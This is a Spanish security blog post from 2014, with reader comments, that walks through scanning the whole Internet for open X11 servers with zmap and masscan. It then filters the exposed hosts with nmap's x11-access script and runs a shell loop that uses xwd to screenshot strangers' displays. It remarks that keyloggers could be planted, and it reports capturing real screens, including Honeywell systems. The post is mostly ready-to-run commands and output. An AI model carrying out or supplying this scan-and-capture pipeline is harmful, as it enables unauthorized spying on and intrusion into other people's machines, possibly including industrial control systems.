26 agosto 2014

screenshot all the things! - un paseo por x11

Mucho ha llovido desde que en 2011 nació shodab, mi pequeño juguete que almacena información del direccionamiento IP de España. Ahora, analizar todo Internet es cosa de niños y hay muchas y mejores herramientas que facilitan y optimizan esta tarea.

Cuando leí sobre la iniciativa de screenshot all the things decidí integrarla en mi base de datos, pero además de usar VNC, añadiendo algo más; servidores X11 abiertos. Un giro de tuerca más a lo que  publicó en su momento @Viss.

Sirva esta entrada como ejemplo de uso de algunas herramientas y del típico jiji-jaja que tanto nos gusta en el mundo de la seguridad. Además,  tal y como dice Robert Graham en su charla de Defcon:

It’ll make you famous
– Pick a target, like a Siemens control system
– Scan the Internet for it
– Do a BlackHattalk
– Get in the news

.. Aunque creo que esta parte se la dejaré a alguno de nuestros lectores ;-)

Lo primero es identificar servidores X11 accesibles desde Internet, para ello se puede usar cualquier herramienta para analizar puertos, aunque las optimizadas para este propósito son: zmap y masscan. Pongo un ejemplo de cada una de ellas.

La siguiente ejecución lanzará zmap limitando el ancho de banda y a un número de 100.000.000 de direcciones IP distintas. Por tener una aproximación; de mi análisis 62.000 IPs tenían el puerto abierto. El resultado de esta ejecución se almacenará en un fichero CSV que tan solo contiene un listado con las direcciones IP que tienen el puerto abierto.

[root@el8 ~]# zmap --bandwidth=30M --target-port=6000 --max-targets=100000000 --output-file=results.csv
Aug 24 11:18:22.618 [INFO] zmap: output module: csv
 0:00 0%; send: 0 0 p/s (0 p/s avg); recv: 0 0 p/s (0 p/s avg); drops: 0 p/s (0 p/s avg); hits: 0.00%
 0:01 0%; send: 23037 23.0 Kp/s (22.7 Kp/s avg); recv: 8 7 p/s (7 p/s avg); drops: 0 p/s (0 p/s avg); hits: 0.03%
 0:02 0%; send: 58624 34.0 Kp/s (28.4 Kp/s avg); recv: 29 20 p/s (14 p/s avg); drops: 0 p/s (0 p/s avg); hits: 0.05%
 0:03 0%; send: 88526 29.9 Kp/s (28.9 Kp/s avg); recv: 48 18 p/s (15 p/s avg); drops: 0 p/s (0 p/s avg); hits: 0.05%

La misma ejecución con masscan. En este caso se excluyen algunos rangos, como direccionamiento IP reservado y se almacena la salida en formato "grepeable", que es el mismo formato que el de Nmap "grepeable".

En este caso, como no quería analizar todo Internet al cabo de un rato acabé pulsando ^C para abortar la ejecución y obtener los resultados.

[root@el8 ~]# masscan -p6000 -oG 6000.grep 0.0.0.0/0 --excludefile ../data/exclude.conf -v 
../data/exclude.conf: excluding 122 ranges from file
resume: empty parameter
initializing adapter
eth0: type=0x   1
pcap: libpcap version 1.4.0
pcap:'eth0': successfully opened
rawsock: looking for default gateway
adapter initialization done.

Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2014-08-24 10:06:44 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 3969790205 hosts [1 port/host]
recv: start receive thread #0,   0:00:00 remaining, found=0       
begin receive thread
xmit: starting transmit thread #0
maxrate = 100.00

Y saqué del grepeable de masscan un listado de IPs simple como el de zmap:

[root@el8 ~]# cat 6000.grep|awk '{ print $2}'|grep -Ev 'Mass|Ports'>6000-open.txt

Con el listado de direcciones IP hay que averiguar cuáles de ellas tienen permitido el acceso, ya que X11 en todas las distribuciones linux y sistemas unix que conozco su acceso remoto está bloqueado por defecto. Para esta tarea una buena opción es usar nmap y el script "x11-access".

[root@el8 ~]# nmap -v -Pn -n -p6000 --script=x11-access -v --open -iL 6000-open.txt-oA accessgranted
Starting Nmap 6.47 ( http://nmap.org ) at 2014-08-24 07:29 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating SYN Stealth Scan at 07:29
Scanning 301 hosts [1 port/host]
Discovered open port 6000/tcp on xx.xx.247.49
Discovered open port 6000/tcp on xx.xx.23.9
Discovered open port 6000/tcp on xx.xx.199.130
Nmap scan report for xx.xx.23.9
Host is up (1.8s latency).
PORT     STATE SERVICE
6000/tcp open  X11
|_x11-access: X server access is granted

La salida del nmap guardará en todos los formatos (-oA) con nombre "accessgranted" los resultados. De ahí solo interesan aquellos que la salida del script sea "server access is granted" como en el ejemplo del cuadro superior. De ese resultado, a esas IPs se les podrá hacer un screenshots o incluso interactuar con las aplicaciones, poner un keylogger, etc...

De las 62.000 IPs con el servidor X11, se reducen a unas decenas vulnerables.

[root@el8 ~]# grep -B4 granted accessgranted.nmap|grep scan|awk '{ print $5}'> IPshot.csv

El pantallazo se puede hacer de muchas formas, con "import" de ImageMagick, con la herramienta "shutter", pero yo decidí utilizar "xwd" que viene en el paquete "x11-apps" y convertirla a png con "convert", también de ImageMagick.

[root@el8 ~]# for ip in `cat IPshot.csv`; do 
echo $ip
timeout 180 xwd -root -display $ip:0 | convert xwd:- /tmp/screen-$ip.png
done

En el bucle anterior metí un timeout porque en ocasiones tardaba demasiado en traer la información o dar error. De esta forma aseguro que el bucle no es infinito y termina en un periodo razonable de tiempo.

Y aquí solo algunos ejemplos de lo capturado (click para ampliar).  Me llamó la atención el elevado número de veces que aparece "honeywell", parece que por defecto estos sistemas son vulnerables. También hay muchas pantallas en negro (que no están ejecutando nada) y que me ahorro poner.

















5 comments :

Xavy dijo...

Interesante la captura del DSLAM xD

r0d dijo...

Asociando este tema con el de hacking ético... ¿Que tan legal es el escaneo en masa para buscar los servicios de X11 o VNC abiertos?


Hablando en ambos casos, suponiendo que no se realice el ingreso y suponiendo que si se realiza para comprobar si no esta protegido de alguna forma (con clave en el caso de VNC)

Juan dijo...

Una duda que me ha surgido: ¿cómo de legal es usar zmap o masscan? Si lo uso en mi conexión ADSL, ¿mosquearé a mi ISP? Si lo uso en un servidor privado, ¿mosquearé al hoster?

anonimo dijo...

Muy interesante el artículo, pero usar for para leer un archivo es una mala practica y fallará si hay más de un dato por línea (usa while).

paco dijo...

honeywell me suena a honeypot, que son servidores que ponen como antiguamente se ponian los tarros de miel para atraer osos